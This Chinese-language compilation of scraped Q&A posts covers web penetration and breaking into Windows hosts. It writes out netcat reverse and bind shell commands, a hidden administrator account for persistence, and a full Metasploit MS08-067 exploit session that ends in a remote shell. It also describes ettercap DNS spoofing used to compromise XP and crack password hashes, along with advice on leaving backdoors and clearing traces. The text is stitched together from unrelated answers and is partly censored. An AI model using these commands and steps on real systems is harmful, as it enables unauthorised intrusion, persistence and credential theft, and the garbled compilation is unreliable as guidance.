web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
*** P:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端 *** 破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用 *** :
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端 *** 破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
openvas里扫出的漏洞,怎么在msf里找到对应的漏洞对应的模块
建议修复,系统漏洞经常被黑客利用传播恶意程序(如网页挂马),必须及时修复系统漏洞才能有效防止计算机在上网时被黑客入侵,不过如果安装了安全软件,并且漏洞介绍看起来不是那么严重的话,可以选择不修复。
Windows系统漏洞是指操作系统在开发过程中存在的技术缺陷,这些缺陷可能导致其他用户在未被授权的情况下非法访问或攻击计算机系统。因此,系统开发商一般每月都会发布最新的补丁用以修复新发现的漏洞。目前,腾讯电脑管家支持修复Windows操作系统漏洞和部分第三方软件漏洞。
如何利用Microsfot-ds漏洞入侵?
被攻击者IP地址:192.168.9.4,操作系统Windows XP sp3 English
攻击者IP地址:192.168.9.1
//查看数据库连接状态
msf db_status
[*] postgresql connected to msf3
//使用nmap扫描目标机器
msf db_nmap -sS -sV -O --script= *** b-check-vulns.nse -n 192.168.9.4
[*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-09-25 11:01
[*] Nmap: Nmap scan report for 192.168.9.4
[*] Nmap: Host is up (0.00s latency).
[*] Nmap: Not shown: 997 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 135/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
[*] Nmap: MAC Address: 00:0C:29:43:D6:5F (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Microsoft Windows XP|2003
[*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
[*] Nmap: OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Host script results:
[*] Nmap: | *** b-check-vulns:
[*] Nmap: | MS08-067: VULNERABLE
[*] Nmap: | Conficker: Likely CLEAN
[*] Nmap: | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
[*] Nmap: | *** Bv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
[*] Nmap: | MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)
[*] Nmap: |_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)
[*] Nmap: OS and Service detection performed. Please report any incorrect results athttp://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
//查找ms08_067漏洞
msf search ms08_067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/ *** b/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption
//使用MS08_067漏洞
msf use exploit/windows/ *** b/ms08_067_netapi
//设置远程地址,正向连接
msf exploit(ms08_067_netapi) set RHOST 192.168.9.4
RHOST = 192.168.9.4
//设置ShellCode
msf exploit(ms08_067_netapi) set payload windows/shell_bind_tcp
payload = windows/shell_bind_tcp
//显示配置的选项
msf exploit(ms08_067_netapi) show options
Module options (exploit/windows/ *** b/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.9.4 yes The target address
RPORT 445 yes Set the *** B service port
*** BPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.9.4 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
//expliot
msf exploit(ms08_067_netapi) exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.9.1:1126 - 192.168.9.4:4444) at 2012-09-25 11:04:31 +0800
成功返回Shell
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32net user
net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator Guest hacker
HelpAssistant SUPPORT_388945a0
The command completed with one or more errors.
------------------------------------------------------------------------------------------------------------------------
如果想漏洞支持什么操作系统,可以输入info命令,就能看到关于漏洞的详细信息。
网站渗透测试怎么做?
先看网站类型,安全性相对而已aspaspxphpjspcfm
看服务器类型 windows还是 linux 还有 服务器应用,windows分iis6 iis7等等 linux分apache和nginx 需要知道对于版本的漏洞 如 iis6解析漏洞 你百度,web服务器解析漏洞大全
反正需要懂的知识蛮多的 ,你自学没必要了,知识点 你可以百度下 知识点:
网站入侵学习入门到高手所有重点难点视频推荐
当知识点学的差不多了,总体的 *** 差不多就是:
入侵网站,锁定目标 识别程序 找oday oday不成功 扫后门 扫备份 无后门 无备份 找后台 找注入 无注入 弱口令 无弱口令 找图片 扫编辑器 无编辑器 扫目录本地文件包含~任意文件下载 xss乱打拿不下 就旁注 旁不下 扫端口 还不行就去社 社不了 就爆破还不行 去C段 ip端口入侵 C段搞不了 子域名下手 还不行字典问题,
后面就是 学精sql注入(知道原理去尝试绕过waf),xss ,还有代码审计 内网域渗透,msf,反正学无止尽 这个知识主要靠累计,其他的靠自己本事去绕waf(ids和cdn),挖xss,oday获取突破点。
怎样入侵Windows8 kali Linux
入侵windows服务器,这个很简单, *** 很多,之一:看网站网站类型(discuz,eshop等)找漏洞,SQL注入,XSS,等 第二:进后台,传马,IIS解析漏洞,提权,进服务器。 第三进入服务器后再提取。
至于Linux一般用到msf渗透测试,nmap,nc ,exp等。
怎么使用kail中的msf入侵m17-010漏洞
装个电脑管家在你的电脑上面先
然后打开工具箱,可以看到有一个 *** 修复功能
最后使用这个功能,可以自动检测出电脑 *** 问题,一键修复就可以了
怎样入侵一台没有开机的电脑
根据自己多年的学习,我觉得还有一种 *** 就是通过漏洞入侵个人电脑!或者使用一些渗透工具入侵电脑!我看到一个教程用一个msf就可以轻松入侵xp了,只要掌握某种漏洞,这是最快捷也是最难得 ***
Kali下使用ettercap+msf渗透WindowsXP
本地主机:192.168.0.149目标主机:192.168.0.138主要使用ettercap的dns劫持功能配合msf渗透。打开msf,加载ms10-046攻击模块;配置好模块,开始exploit:
设置ettercap的dns_spoof插件:kali下是在/etc/ettercap/etter.dns
建立A规则:这里 “ * ” 代表所有网址
开始dns劫持:ettercap -T -q -i wlan0 -P dns_spoof -M arp // //选项:q 安静模式 ;i 后面跟网卡 ;P 后跟插件 ;M 开始 ;之一个//中间为目标地址,第二个//之间为网关地址,不添默认全部。
接下来就等着鱼儿上钩了;抓到目标主机之后就可以选择停止ettercap的dns劫持和msf的监听功能,以免造成太大动静:jobs -k 0(这里数字可以用jobs查看)
获取system权限时候就可以抓取账户密码hash了,然后ophcrack加载hash表之后破解密码;注意:ophcrack加载hash的时候只识别英文路径
kali linux怎么入侵网站
你好朋友 ,
我做渗透测试的时候一般先用nmap 扫描端口 dir buster 爬目录
收集尽可能多的信息 。 接着就是找sql注入点 看看有没有文件上传 xss csrf 文件包含 0day 等等漏洞 。。。。
接下来根据漏洞来利用 ,看看能不能开权限,,,提权是个很难的过程 。。
如果实在找不到的话 , 我会试试旁注 看看同网段的主机。
嗯嗯大概就是这样